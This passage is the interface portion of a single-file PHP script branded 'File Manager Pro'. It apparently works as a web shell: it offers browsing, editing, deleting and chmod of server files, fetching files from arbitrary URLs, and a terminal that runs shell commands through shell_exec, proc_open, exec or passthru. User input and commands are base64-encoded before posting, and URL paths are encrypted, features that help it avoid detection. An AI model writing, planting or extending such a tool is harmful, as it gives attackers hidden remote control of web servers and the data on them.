1-2-2v-4"/><path d="M17 8l-5-5-5 5"/><path d="M12 3v12"/>', 'search' => '<circle cx="11" cy="11" r="8"/><path d="M21 21l-4.35-4.35"/>', 'folder-plus' => '<path d="M3 7a2 2 0 0 1 2-2h4l2 2h8a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><path d="M12 11v6M9 14h6"/>', 'file-plus' => '<path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><path d="M14 2v6h6"/><path d="M12 12v6M9 15h6"/>', 'arrow-up' => '<path d="M12 19V5"/><path d="M5 12l7-7 7 7"/>', 'goto' => '<path d="M5 12h14"/><path d="M13 6l6 6-6 6"/>', 'back' => '<path d="M19 12H5"/><path d="M11 18l-6-6 6-6"/>', 'terminal' => '<path d="M4 17l6-5-6-5"/><path d="M12 19h8"/>', 'globe' => '<circle cx="12" cy="12" r="10"/><path d="M2 12h20"/><path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z"/>', 'check' => '<path d="M20 6L9 17l-5-5"/>', 'x' => '<path d="M18 6L6 18"/><path d="M6 6l12 12"/>', ); return fm_svg($bodies[$name], $size); } /** Print a hidden base64-encoded POST field (named "<name>_b64" to match fm_post). */ function fm_hid($name, $value) { echo '<input type="hidden" name="' . fm_h($name) . '_b64" value="' . fm_h(fm_b64e($value)) . '">' . "\n"; } /** Print the CSRF hidden field. */ function fm_csrf_field() { echo '<input type="hidden" name="csrf" value="' . fm_h($GLOBALS['CSRF']) . '">' . "\n"; } $EDIT_EXTS = array('php','phtml','php3','php4','php5','phps','txt','md','html','htm','css','js','json','xml','py','rb','java','c','cpp','h','sh','sql','yml','yaml','ini','conf','cfg','htaccess','csv','log','env','ts','vue','go','rs','pl','lua'); $IMAGE_EXTS = array('png','jpg','jpeg','gif','webp','bmp','svg','ico'); @header('Content-Type: text/html; charset=utf-8'); ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <meta name="robots" content="noindex,nofollow"> <title>File Manager Pro — <?php echo fm_h(fm_base($cur)); ?></title> <style> :root{--bg:#0b1120;--surface:#111a2e;--surface2:#1c2942;--border:#263553;--border2:#33456b;--text:#e6edf7;--text2:#8ea0bf;--accent:#6366f1;--accent2:#818cf8;--violet:#8b5cf6;--green:#34d399;--red:#f87171;--amber:#fbbf24;--cyan:#22d3ee} *{box-sizing:border-box;margin:0;padding:0} html{scrollbar-color:var(--border2) var(--bg)} body{background:var(--bg);color:var(--text);font:14px/1.6 system-ui,-apple-system,"Segoe UI",sans-serif;min-height:100vh} ::selection{background:rgba(99,102,241,.4)} a{color:var(--accent2);text-decoration:none} a:hover{text-decoration:underline} svg{vertical-align:middle;flex-shrink:0} /* ---------- header ---------- */ .topbar{position:sticky;top:0;z-index:50;display:flex;align-items:center;gap:14px;padding:12px 22px;background:rgba(11,17,32,.9);backdrop-filter:blur(12px);border-bottom:1px solid var(--border);flex-wrap:nowrap;min-width:0} .brand{display:flex;align-items:center;gap:10px;font-size:15.5px;font-weight:700;letter-spacing:.01em} .brand .mark{width:34px;height:34px;border-radius:10px;background:linear-gradient(135deg,var(--accent),var(--violet));display:flex;align-items:center;justify-content:center;color:#fff;box-shadow:0 4px 14px rgba(99,102,241,.35)} .pathbar{margin-left:auto;display:flex;align-items:center;gap:10px;font-size:12px;color:var(--text2);min-width:0;flex-shrink:1} .pathbar code{font-family:"SF Mono",SFMono-Regular,Consolas,"Liberation Mono",monospace;color:var(--cyan);background:var(--surface);border:1px solid var(--border);padding:3px 10px;border-radius:7px;max-width:46vw;overflow:hidden;text-overflow:ellipsis;white-space:nowrap} .badge{font-size:10.5px;font-weight:600;padding:3px 9px;border-radius:20px;background:rgba(99,102,241,.15);color:var(--accent2);border:1px solid rgba(99,102,241,.3);white-space:nowrap} /* ---------- layout ---------- */ .wrap{max-width:1280px;margin:0 auto;padding:20px 22px 60px} .crumbs{display:flex;align-items:center;gap:5px;padding:4px 0 16px;font-size:13px;color:var(--text2);flex-wrap:wrap} .crumbs a{color:var(--text2);padding:3px 8px;border-radius:7px;font-weight:500} .crumbs a:hover{background:var(--surface2);color:var(--accent2);text-decoration:none} .crumbs .sep{color:var(--border2);font-size:11px} .crumbs .cur{color:var(--text);font-weight:600;padding:3px 8px} /* ---------- toolbar ---------- */ .toolbar{display:grid;grid-template-columns:repeat(auto-fit,minmax(250px,1fr));gap:12px;margin-bottom:18px} .tool{background:var(--surface);border:1px solid var(--border);border-radius:14px;padding:12px 14px;display:flex;gap:8px;align-items:center;flex-wrap:wrap} .tool .t-label{width:100%;font-size:10.5px;font-weight:700;color:var(--text2);text-transform:uppercase;letter-spacing:.08em;margin-bottom:2px;display:flex;align-items:center;gap:6px} .tool input[type=text],.tool input[type=file]{background:var(--bg);border:1px solid var(--border2);color:var(--text);padding:8px 11px;border-radius:9px;font-size:13px;font-family:inherit;min-width:0} .tool input[type=text]{flex:1;width:100%} .tool input:focus{outline:none;border-color:var(--accent);box-shadow:0 0 0 3px rgba(99,102,241,.18)} .btn{display:inline-flex;align-items:center;gap:6px;border:none;padding:8px 15px;border-radius:9px;font-size:12.5px;font-weight:600;cursor:pointer;font-family:inherit;white-space:nowrap;text-decoration:none;transition:all .15s} .btn:hover{text-decoration:none} .btn-primary{background:linear-gradient(135deg,var(--accent),var(--violet));color:#fff;box-shadow:0 3px 10px rgba(99,102,241,.3)} .btn-primary:hover{filter:brightness(1.15)} .btn-ghost{background:var(--surface2);color:var(--text);border:1px solid var(--border2)} .btn-ghost:hover{background:var(--border);color:#fff} /* ---------- messages ---------- */ .msg{display:flex;align-items:center;gap:9px;padding:11px 16px;border-radius:11px;margin-bottom:16px;font-size:13px;font-weight:500} .msg.ok{background:rgba(52,211,153,.09);color:var(--green);border:1px solid rgba(52,211,153,.25)} .msg.err{background:rgba(248,113,113,.09);color:var(--red);border:1px solid rgba(248,113,113,.25)} /* ---------- listing ---------- */ .card{background:var(--surface);border:1px solid var(--border);border-radius:16px;overflow:hidden;box-shadow:0 10px 30px rgba(0,0,0,.25)} .card-head{display:flex;align-items:center;gap:12px;padding:14px 18px;border-bottom:1px solid var(--border);flex-wrap:wrap} .card-head .diricon{color:var(--amber)} .card-head h3{font-size:13px;font-family:"SF Mono",SFMono-Regular,Consolas,monospace;color:var(--text);word-break:break-all;font-weight:600} .card-head .count{margin-left:auto;font-size:11.5px;color:var(--text2);background:var(--surface2);padding:3px 11px;border-radius:20px;white-space:nowrap;border:1px solid var(--border)} .tbl-scroll{overflow-x:auto} table{width:100%;border-collapse:collapse;min-width:820px} th{padding:9px 18px;text-align:left;font-size:10.5px;font-weight:700;text-transform:uppercase;letter-spacing:.08em;color:var(--text2);background:var(--surface);border-bottom:1px solid var(--border)} td{padding:8px 18px;border-bottom:1px solid var(--border);font-size:13px;vertical-align:middle} tbody tr:last-child td{border-bottom:none} tbody tr{transition:background .12s} tbody tr:hover td{background:var(--surface2)} .nm{display:flex;align-items:center;gap:11px;min-width:220px} .nm .ic{width:34px;height:34px;border-radius:9px;display:flex;align-items:center;justify-content:center;flex-shrink:0} .ic.dir{color:var(--amber);background:rgba(251,191,36,.1)} .ic.file{color:var(--text2);background:rgba(148,163,184,.09)} .ic.link{color:var(--green);background:rgba(52,211,153,.1)} .ic.image{color:var(--cyan);background:rgba(34,211,238,.1)} .ic.code{color:var(--accent2);background:rgba(129,140,248,.12)} .ic.archive{color:var(--violet);background:rgba(139,92,246,.12)} .ic.doc{color:var(--green);background:rgba(52,211,153,.1)} .ic.audio{color:#f472b6;background:rgba(244,114,182,.1)} .ic.video{color:#fb923c;background:rgba(251,146,60,.1)} .ic.font{color:#a3e635;background:rgba(163,230,53,.1)} .nm .name{font-weight:500;word-break:break-all} .nm .name a{color:var(--text)} .nm .name a:hover{color:var(--accent2);text-decoration:none} .sz{text-align:right;color:var(--text2);font-variant-numeric:tabular-nums;font-size:12px;white-space:nowrap} .dt{color:var(--text2);font-size:12px;white-space:nowrap} .pr{font-family:"SF Mono",SFMono-Regular,Consolas,monospace;font-size:11.5px;color:var(--text2);background:var(--bg);border:1px solid var(--border);padding:2px 7px;border-radius:6px;white-space:nowrap} .act{text-align:right;white-space:nowrap} .act form{display:inline;margin:0} .iconbtn{display:inline-flex;align-items:center;justify-content:center;gap:4px;padding:5px 8px;border:1px solid var(--border2);border-radius:8px;background:transparent;color:var(--text2);cursor:pointer;margin-left:4px;transition:all .15s;vertical-align:middle;font-family:inherit;font-size:11px} .iconbtn:hover{background:var(--surface2);color:var(--text);border-color:var(--accent)} .iconbtn.danger{color:var(--red);border-color:rgba(248,113,113,.35)} .iconbtn.danger:hover{background:rgba(248,113,113,.1);border-color:var(--red);color:var(--red)} .mini{width:74px;padding:4px 7px;font-size:11px;border-radius:6px;background:var(--bg);border:1px solid var(--border2);color:var(--text);font-family:inherit} .mini.narrow{width:52px} .empty{padding:64px 20px;text-align:center;color:var(--text2)} .empty svg{opacity:.3;margin-bottom:10px} .empty p{font-size:13.5px} /* ---------- editor / preview ---------- */ .editor-card{margin-bottom:20px} .ed-head{display:flex;align-items:center;gap:12px;padding:14px 18px;border-bottom:1px solid var(--border);flex-wrap:wrap} .ed-head .fp{font-family:"SF Mono",SFMono-Regular,Consolas,monospace;font-size:12.5px;color:var(--cyan);word-break:break-all} .ed-head .meta{margin-left:auto;font-size:11.5px;color:var(--text2);display:flex;gap:8px;align-items:center} textarea.ed{width:100%;min-height:62vh;background:var(--bg);color:var(--text);border:none;padding:18px 20px;font:13px/1.65 "SF Mono",SFMono-Regular,Consolas,"Liberation Mono",monospace;resize:vertical;tab-size:4} textarea.ed:focus{outline:none} .ed-foot{display:flex;justify-content:flex-end;gap:8px;padding:13px 18px;border-top:1px solid var(--border);flex-wrap:wrap} .preview-body{padding:22px;display:flex;justify-content:center;background:var(--bg)} .preview-body img{max-width:100%;border-radius:10px;border:1px solid var(--border)} /* ---------- terminal ---------- */ .term{background:#04070f;border-bottom:1px solid var(--border);padding:16px 18px;font:12.5px/1.65 "SF Mono",SFMono-Regular,Consolas,"Liberation Mono",monospace;min-height:220px;max-height:58vh;overflow:auto;white-space:pre-wrap;word-break:break-word;color:#7ee2a8} .term-in{display:flex;gap:10px;align-items:center;padding:13px 16px;background:var(--surface)} .term-in .pr{font-family:"SF Mono",SFMono-Regular,Consolas,monospace;font-weight:700;color:var(--green);white-space:nowrap;font-size:13px} .term-in input{flex:1;min-width:0;background:var(--bg);border:1px solid var(--border2);color:var(--text);padding:9px 12px;border-radius:9px;font:13px "SF Mono",SFMono-Regular,Consolas,monospace} .term-in input:focus{outline:none;border-color:var(--green);box-shadow:0 0 0 3px rgba(52,211,153,.15)} /* ---------- search ---------- */ .search-note{padding:12px 18px;border-bottom:1px solid var(--border);font-size:12.5px;color:var(--text2)} .search-note b{color:var(--text)} /* ---------- footer ---------- */ .foot{padding:20px;text-align:center;font-size:11.5px;color:var(--text2);border-top:1px solid var(--border);margin-top:44px} .foot code{color:var(--text2);background:var(--surface);padding:2px 8px;border-radius:6px;border:1px solid var(--border)} @media(max-width:860px){ .wrap{padding:14px 12px 50px} .pathbar code{max-width:60vw} th,td{padding:7px 12px} .iconbtn{padding:5px 6px} .iconbtn .bl{display:none} .mini{width:64px} } </style> </head> <body> <div class="topbar"> <div class="brand"> <span class="mark"><?php echo fm_svg('<path d="M3 7a2 2 0 0 1 2-2h4l2 2h8a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/>', 18); ?></span> File Manager <span style="color:var(--accent2)">Pro</span> </div> <div class="pathbar"> <code title="<?php echo fm_h($cur); ?>"><?php echo fm_h($cur); ?></code> <span class="badge">PHP <?php echo fm_h(PHP_VERSION); ?></span> <span class="badge"><?php echo fm_h(PHP_OS); ?></span> </div> </div> <div class="wrap"> <?php if ($msg !== '') { ?> <div class="msg ok"><?php echo fm_ai('check', 15); ?> <?php echo fm_h($msg); ?></div> <?php } ?> <?php if ($err !== '') { ?> <div class="msg err"><?php echo fm_ai('x', 15); ?> <?php echo fm_h($err); ?></div> <?php } ?> <?php if ($editFile === null && $viewFile === null && !$termOn) { ?> <div class="crumbs"> <?php $crumbs = array(); $path = $cur; if (preg_match('#^[a-zA-Z]:#', $path)) { $drive = substr($path, 0, 2); $crumbs[] = array('label' => $drive . '/', 'path' => $drive . '/'); $rest = ltrim(substr($path, 2), '/'); $acc = $drive; if ($rest !== '') { foreach (explode('/', $rest) as $part) { if ($part === '') continue; $acc .= '/' . $part; $crumbs[] = array('label' => $part, 'path' => $acc); } } } else { $crumbs[] = array('label' => '/', 'path' => '/'); $rest = ltrim($path, '/'); if ($rest !== '') { $acc = ''; foreach (explode('/', $rest) as $part) { if ($part === '') continue; $acc .= '/' . $part; $crumbs[] = array('label' => $part, 'path' => $acc); } } } $last = count($crumbs) - 1; foreach ($crumbs as $i => $c) { if ($i > 0) echo '<span class="sep">/</span>'; if ($i === $last) { echo '<span class="cur">' . fm_h($c['label']) . '</span>'; } else { echo '<a href="?d=' . fm_enc($c['path']) . '">' . fm_h($c['label']) . '</a>'; } } ?> </div> <div class="toolbar"> <?php if ($hasParent) { ?> <form method="get" class="tool" action=""> <span class="t-label">Navigate</span> <input type="hidden" name="d" value="<?php echo fm_h(fm_enc($parent)); ?>"> <button type="submit" class="btn btn-ghost" style="width:100%;justify-content:center"><?php echo fm_ai('arrow-up', 14); ?> Up to <?php echo fm_h(fm_base($parent)); ?></button> </form> <?php } ?> <form method="get" class="tool" action=""> <span class="t-label"><?php echo fm_ai('terminal', 13); ?> Terminal</span> <input type="hidden" name="a" value="term"> <input type="hidden" name="d" value="<?php echo fm_h($curEnc); ?>"> <button type="submit" class="btn btn-ghost" style="width:100%;justify-content:center"><?php echo fm_ai('terminal', 14); ?> Open terminal here</button> </form> <form method="post" enctype="multipart/form-data" class="tool" action=""> <span class="t-label"><?php echo fm_ai('up', 13); ?> Upload files</span> <?php fm_csrf_field(); ?> <input type="hidden" name="a" value="upload"> <?php fm_hid('dir', $cur); ?> <input type="file" name="up[]" multiple style="flex:1;min-width:0"> <button type="submit" class="btn btn-primary"><?php echo fm_ai('up', 14); ?> Upload</button> </form> <form method="post" class="tool" action="" onsubmit="return fmEncField(this,['url','name'])"> <span class="t-label"><?php echo fm_ai('globe', 13); ?> Upload from URL</span> <?php fm_csrf_field(); ?> <input type="hidden" name="a" value="fetch"> <?php fm_hid('dir', $cur); ?> <input type="text" name="url" placeholder="https://example.com/file.zip" required> <input type="text" name="name" placeholder="save as (optional)" style="max-width:150px"> <button type="submit" class="btn btn-primary"><?php echo fm_ai('globe', 14); ?> Fetch</button> </form> <form method="post" class="tool" action="" onsubmit="return fmEncField(this,'name')"> <span class="t-label"><?php echo fm_ai('file-plus', 13); ?> New file</span> <?php fm_csrf_field(); ?> <input type="hidden" name="a" value="newfile"> <?php fm_hid('dir', $cur); ?> <input type="text" name="name" placeholder="new-file.php" required> <button type="submit" class="btn btn-ghost">Create</button> </form> <form method="post" class="tool" action="" onsubmit="return fmEncField(this,'name')"> <span class="t-label"><?php echo fm_ai('folder-plus', 13); ?> New folder</span> <?php fm_csrf_field(); ?> <input type="hidden" name="a" value="mkdir"> <?php fm_hid('dir', $cur); ?> <input type="text" name="name" placeholder="new-folder" required> <button type="submit" class="btn btn-ghost">Create</button> </form> <form method="post" class="tool" action="" onsubmit="return fmEncField(this,'dest')"> <span class="t-label"><?php echo fm_ai('goto', 13); ?> Go to path</span> <?php fm_csrf_field(); ?> <input type="hidden" name="a" value="goto"> <input type="text" name="dest" placeholder="/home/user/public_html" required> <button type="submit" class="btn btn-ghost">Go</button> </form> <form method="get" class="tool" action=""> <span class="t-label"><?php echo fm_ai('search', 13); ?> Search here</span> <input type="hidden" name="d" value="<?php echo fm_h($curEnc); ?>"> <input type="text" name="q" placeholder="filename…" value="<?php echo fm_h($searchQ); ?>" style="flex:1"> <button type="submit" class="btn btn-ghost"><?php echo fm_ai('search', 14); ?> Search</button> </form> </div> <?php } ?> <?php /* ===================== EDITOR ===================== */ ?> <?php if ($editFile !== null) { $sz = fm_size_int($editFile); $ext = fm_ext(fm_base($editFile)); $isText = ($sz <= 8 * 1048576) && ($sz >= 0); ?> <div class="card editor-card"> <div class="ed-head"> <?php echo fm_icon('file', $ext, 18); ?> <span class="fp"><?php echo fm_h($editFile); ?></span> <span class="meta"> <span class="badge"><?php echo fm_h(fm_size_str($editFile)); ?></span> <span class="badge"><?php echo fm_h(fm_perm_str($editFile)); ?></span> <a class="btn btn-ghost" href="?d=<?php echo fm_h($curEnc); ?>"><?php echo fm_ai('back', 14); ?> Back</a> </span> </div> <?php if (!$isText) { ?> <div class="empty"><p>This file is too large to edit in the browser (limit 8 MB). Use download instead.</p></div> <?php } else { ?> <form method="post" action="" onsubmit="return fmPrepSave(this)"> <?php fm_csrf_field(); ?> <input type="hidden" name="a" value="save"> <?php fm_hid('dir', $cur); ?> <?php fm_hid('file', $editFile); ?> <input type="hidden" name="content_b64" value=""> <textarea class="ed" name="content" spellcheck="false"><?php echo fm_h(@file_get_contents($editFile)); ?></textarea> <div class="ed-foot"> <a class="btn btn-ghost" href="?d=<?php echo fm_h($curEnc); ?>">Cancel</a> <a class="btn btn-ghost" href="?a=dl&f=<?php echo fm_h(fm_enc($editFile)); ?>"><?php echo fm_ai('download', 14); ?> Download</a> <button type="submit" class="btn btn-primary"><?php echo fm_ai('check', 14); ?> Save changes</button> </div> </form> <?php } ?> </div> <?php /* ===================== IMAGE PREVIEW ===================== */ ?> <?php } elseif ($viewFile !== null) { $ext = fm_ext(fm_base($viewFile)); ?> <div class="card editor-card"> <div class="ed-head"> <?php echo fm_icon('file', $ext, 18); ?> <span class="fp"><?php echo fm_h($viewFile); ?></span> <span class="meta"> <span class="badge"><?php echo fm_h(fm_size_str($viewFile)); ?></span> <a class="btn btn-ghost" href="?d=<?php echo fm_h($curEnc); ?>"><?php echo fm_ai('back', 14); ?> Back</a> </span> </div> <div class="preview-body"> <img src="?a=view&f=<?php echo fm_h(fm_enc($viewFile)); ?>" alt="<?php echo fm_h(fm_base($viewFile)); ?>"> </div> <div class="ed-foot"> <a class="btn btn-ghost" href="?a=dl&f=<?php echo fm_h(fm_enc($viewFile)); ?>"><?php echo fm_ai('download', 14); ?> Download</a> <?php if (in_array($ext, $EDIT_EXTS, true)) { ?> <a class="btn btn-primary" href="?a=edit&f=<?php echo fm_h(fm_enc($viewFile)); ?>&d=<?php echo fm_h($curEnc); ?>"><?php echo fm_ai('edit', 14); ?> Edit</a> <?php } ?> </div> </div> <?php /* ===================== TERMINAL ===================== */ ?> <?php } elseif ($termOn) { $canExec = function_exists('proc_open') || function_exists('shell_exec') || function_exists('exec') || function_exists('passthru'); ?> <div class="card editor-card"> <div class="ed-head"> <?php echo fm_ai('terminal', 18); ?> <span class="fp"><?php echo fm_h($termUser . '@' . $termHost . ' : ' . $cur); ?></span> <span class="meta"> <form method="post" action="" style="display:inline" onsubmit="return confirm('Clear terminal history?')"> <?php fm_csrf_field(); ?> <input type="hidden" name="a" value="tclear"> <?php fm_hid('dir', $cur); ?> <button type="submit" class="btn btn-ghost">Clear</button> </form> <a class="btn btn-ghost" href="?d=<?php echo fm_h($curEnc); ?>"><?php echo fm_ai('back', 14); ?> Back</a> </span> </div> <?php if (!$canExec) { ?> <div class="empty"> <?php echo fm_ai('terminal', 40); ?> <p>Command execution is not available on this server<br>(shell_exec, proc_open, exec and passthru are all disabled).</p> </div> <?php } else { ?> <div class="term" id="termOut"><?php echo fm_h($termOut); ?></div> <form method="post" action="" class="term-in" onsubmit="return fmEncField(this,'cmd')"> <?php fm_csrf_field(); ?> <input type="hidden" name="a" value="terminal"> <?php fm_hid('dir', $cur); ?> <span class="pr"><?php echo fm_h($termUser) . ' $'; ?></span> <input type="text" name="cmd" id="termIn" placeholder="type a command and press Enter…" autocomplete="off" autocapitalize="off" spellcheck="false" autofocus> <button type="submit" class="btn btn-primary"><?php echo fm_ai('terminal', 14); ?> Run</button> </form> <?php } ?> </div> <?php /* ===================== SEARCH RESULTS ===================== */ ?> <?php } elseif ($searchResults !== null) { ?> <div class="card"> <div class="card-head"> <?php echo fm_ai('search', 18); ?> <h3>Search: "<?php echo fm_h($searchQ); ?>"</h3> <span class="count"><?php echo count($searchResults); ?> match(es)</span> </div> <?php if (count($searchResults) === 0) { ?> <div class="empty"><p>No matches found.</p></div> <?php } else { ?> <div class="tbl-scroll"><table> <thead><tr><th>Name</th><th>Location</th><th style="text-align:right">Actions</th></tr></thead> <tbody> <?php foreach ($searchResults as $r) { $rp = $r['path']; $rd = fm_n(dirname($rp)); $enc = fm_enc($rp); ?> <tr> <td><div class="nm"><span class="ic <?php echo $r['dir'] ? 'dir' : 'file'; ?>"><?php echo fm_icon($r['dir'] ? 'dir' : 'file', fm_ext($r['name']), 17); ?></span><span class="name"><?php echo fm_h($r['name']); ?></span></div></td> <td class="dt"><code style="font-family:monospace;font-size:11.5px;color:var(--text2)"><?php echo fm_h($rd); ?></code></td> <td class="act"> <a class="iconbtn" href="?d=<?php echo fm_h(fm_enc($rd)); ?>"><?php echo fm_ai('goto', 13); ?> <span class="bl">open folder</span></a> <?php if (!$r['dir']) { ?> <a class="iconbtn" href="?a=dl&f=<?php echo fm_h($enc); ?>"><?php echo fm_ai('download', 13); ?> <span class="bl">dl</span></a> <?php } ?> </td> </tr> <?php } ?> </tbody> </table></div> <?php } ?> </div> <?php /* ===================== LISTING ===================== */ ?> <?php } else { ?> <?php $items = fm_ls($cur); $dirs = array(); $fils = array(); $links = array(); if (is_array($items)) { foreach ($items as $it) { if (!is_string($it) || $it === '' || $it === '.' || $it === '..') continue; $full = $cur . '/' . $it; $k = fm_kind($full); if ($k === 'dir') $dirs[] = $it; elseif ($k === 'link') $links[] = $it; else $fils[] = $it; } } @natcasesort($dirs); @natcasesort($links); @natcasesort($fils); $list = array_merge($dirs, $links, $fils); $total = count($list); ?> <div class="card"> <div class="card-head"> <span class="diricon"><?php echo fm_icon('dir', '', 20); ?></span> <h3><?php echo fm_h($cur); ?></h3> <span class="count"><?php echo (int)$total; ?> item(s) · <?php echo count($dirs); ?> folders · <?php echo (count($fils) + count($links)); ?> files</span> </div> <?php if ($total === 0) { ?> <div class="empty"> <?php echo fm_svg('<path d="M3 7a2 2 0 0 1 2-2h4l2 2h8a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/>', 44); ?> <p>This directory is empty</p> </div> <?php } else { ?> <div class="tbl-scroll"><table> <thead> <tr> <th>Name</th> <th style="text-align:right">Size</th> <th>Modified</th> <th>Perms</th> <th style="text-align:right">Actions</th> </tr> </thead> <tbody> <?php foreach ($list as $it) { $full = $cur . '/' . $it; $perm = fm_perm_str($full); $kind = fm_kind($full); $isDir = ($kind === 'dir'); $ext = $isDir ? '' : fm_ext($it); $mt = @filemtime($full); $mtStr = ($mt !== false) ? date('Y-m-d H:i', $mt) : '—'; $enc = fm_enc($full); if ($isDir) { $nameLink = '<a href="?d=' . $enc . '">' . fm_h($it) . '</a>'; } elseif (in_array($ext, $EDIT_EXTS, true)) { $nameLink = '<a href="?a=edit&f=' . $enc . '&d=' . $curEnc . '">' . fm_h($it) . '</a>'; } elseif (in_array($ext, $IMAGE_EXTS, true)) { $nameLink = '<a href="?a=preview&f=' . $enc . '&d=' . $curEnc . '">' . fm_h($it) . '</a>'; } else { $nameLink = '<a href="?a=dl&f=' . $enc . '">' . fm_h($it) . '</a>'; } ?> <tr> <td> <div class="nm"> <?php $icClass = fm_icon_type($kind, $ext); ?> <span class="ic <?php echo $icClass; ?>"><?php echo fm_icon($kind, $ext, 17); ?></span> <span class="name"><?php echo $nameLink; ?></span> </div> </td> <td class="sz"><?php echo $isDir ? '—' : fm_h(fm_size_str($full)); ?></td> <td class="dt"><?php echo fm_h($mtStr); ?></td> <td><span class="pr"><?php echo fm_h($perm); ?></span></td> <td class="act"> <?php if (!$isDir && in_array($ext, $EDIT_EXTS, true)) { ?> <a class="iconbtn" title="Edit" href="?a=edit&f=<?php echo $enc; ?>&d=<?php echo $curEnc; ?>"><?php echo fm_ai('edit', 13); ?> <span class="bl">edit</span></a> <?php } ?> <?php if (!$isDir && in_array($ext, $IMAGE_EXTS, true)) { ?> <a class="iconbtn" title="Preview" href="?a=preview&f=<?php echo $enc; ?>&d=<?php echo $curEnc; ?>"><?php echo fm_ai('view', 13); ?> <span class="bl">view</span></a> <?php } ?> <?php if (!$isDir) { ?> <a class="iconbtn" title="Download" href="?a=dl&f=<?php echo $enc; ?>"><?php echo fm_ai('download', 13); ?> <span class="bl">dl</span></a> <?php } ?> <?php if ($isDir) { ?> <form method="post" action="" style="display:inline" onsubmit="return confirm('Create zip archive of ' + <?php echo json_encode($it); ?> + '?')"> <?php fm_csrf_field(); ?> <input type="hidden" name="a" value="zip"> <?php fm_hid('dir', $cur); ?> <?php fm_hid('file', $full); ?> <button type="submit" class="iconbtn" title="Zip folder"><?php echo fm_ai('zip', 13); ?> <span class="bl">zip</span></button> </form> <?php } ?> <form method="post" action="" style="display:inline" onsubmit="return fmDoTransfer(this,'copy')"> <?php fm_csrf_field(); ?> <input type="hidden" name="a" value="copy"> <?php fm_hid('dir', $cur); ?> <?php fm_hid('file', $full); ?> <button type="submit" class="iconbtn" title="Copy to…"><?php echo fm_ai('copy', 13); ?> <span class="bl">copy</span></button> </form> <form method="post" action="" style="display:inline" onsubmit="return fmDoTransfer(this,'move')"> <?php fm_csrf_field(); ?> <input type="hidden" name="a" value="move"> <?php fm_hid('dir', $cur); ?> <?php fm_hid('file', $full); ?> <button type="submit" class="iconbtn" title="Move to…"><?php echo fm_ai('move', 13); ?> <span class="bl">move</span></button> </form> <form method="post" action="" style="display:inline" onsubmit="return fmEncField(this,'newname') && confirm('Rename ' + <?php echo json_encode($it); ?> + '?')"> <?php fm_csrf_field(); ?> <input type="hidden" name="a" value="rename"> <?php fm_hid('dir', $cur); ?> <?php fm_hid('file', $full); ?> <input type="text" class="mini" name="newname" value="<?php echo fm_h($it); ?>" title="New name"> <button type="submit" class="iconbtn" title="Rename"><?php echo fm_ai('rename', 13); ?></button> </form> <form method="post" action="" style="display:inline" onsubmit="return fmEncField(this,'mode') && confirm('Chmod ' + <?php echo json_encode($it); ?> + ' to this mode?')"> <?php fm_csrf_field(); ?> <input type="hidden" name="a" value="chmod"> <?php fm_hid('dir', $cur); ?> <?php fm_hid('file', $full); ?> <input type="text" class="mini narrow" name="mode" value="<?php echo fm_h($perm); ?>" title="Octal mode, e.g. 755"> <button type="submit" class="iconbtn" title="Chmod"><?php echo fm_ai('chmod', 13); ?></button> </form> <form method="post" action="" style="display:inline" onsubmit="return confirm('DELETE ' + <?php echo json_encode($it); ?> + '? This cannot be undone!')"> <?php fm_csrf_field(); ?> <input type="hidden" name="a" value="delete"> <?php fm_hid('dir', $cur); ?> <?php fm_hid('file', $full); ?> <button type="submit" class="iconbtn danger" title="Delete"><?php echo fm_ai('trash', 13); ?> <span class="bl">del</span></button> </form> </td> </tr> <?php } ?> </tbody> </table></div> <?php } ?> </div> <?php } ?> </div> <div class="foot"> File Manager Pro · single-file PHP <?php echo fm_h(PHP_VERSION); ?> on <?php echo fm_h(PHP_OS); ?> · paths encrypted in URL (<?php echo function_exists('openssl_encrypt') ? 'AES-256-CTR' : 'XOR+base64'; ?>) </div> <script> /* URL-safe base64 of UTF-8 text (for POST payloads); null when encoding is unavailable */ function fmB64(s){ try { return btoa(unescape(encodeURIComponent(s))); } catch(e) { return null; } } function fmAddB64(form, fieldName){ var inp = form.elements[fieldName]; if(!inp) return true; var v = fmB64(inp.value); if (v === null) return true; // cannot encode: leave raw input enabled — the server accepts raw values too var els = form.elements; for (var i = els.length - 1; i >= 0; i--) { if (els[i].getAttribute && els[i].getAttribute('data-b64of') === fieldName && els[i].parentNode) { els[i].parentNode.removeChild(els[i]); } } var h = document.createElement('input'); h.type = 'hidden'; h.name = fieldName + '_b64'; h.value = v; h.setAttribute('data-b64of', fieldName); form.appendChild(h); inp.disabled = true; return true; } /* Encode user-typed field(s) before submitting */ function fmEncField(form, name){ if(typeof name === 'string') name = [name]; for(var i=0;i<name.length;i++) fmAddB64(form, name[i]); return true; } /* Editor save: base64 the textarea content (fall back to raw submit if encoding fails) */ function fmPrepSave(form){ var ta = form.querySelector('textarea[name="content"]'); var h = form.elements['content_b64']; var v = fmB64(ta.value); if (v !== null) { h.value = v; ta.disabled = true; } else if (h && h.parentNode) { h.parentNode.removeChild(h); } return true; } /* Terminal: scroll output to bottom + command history (Up/Down arrows) */ (function(){ var out = document.getElementById('termOut'); if (out) out.scrollTop = out.scrollHeight; var inp = document.getElementById('termIn'); if (!inp) return; var hist = []; try { hist = JSON.parse(localStorage.getItem('fm_term_hist') || '[]'); } catch(e) {} if (!hist.length) hist = []; var hi = hist.length; inp.addEventListener('keydown', function(e){ if (e.key === 'ArrowUp') { if (hi > 0) { hi = hi - 1; inp.value = hist[hi] || ''; } e.preventDefault(); } else if (e.key === 'ArrowDown') { if (hi < hist.length) { hi = hi + 1; inp.value = hist[hi] || ''; } e.preventDefault(); } }); var f = inp.form; if (f) f.addEventListener('submit', function(){ var v = inp.value; if (v && v !== hist[hist.length - 1]) { hist.push(v); if (hist.length > 100) hist.shift(); } hi = hist.length; try { localStorage.setItem('fm_term_hist', JSON.stringify(hist)); } catch(e) {} }); })(); /* Copy / move: ask destination, then submit */ function fmDoTransfer(form, kind){ var cur = <?php echo json_encode($cur); ?>; var hint = (kind 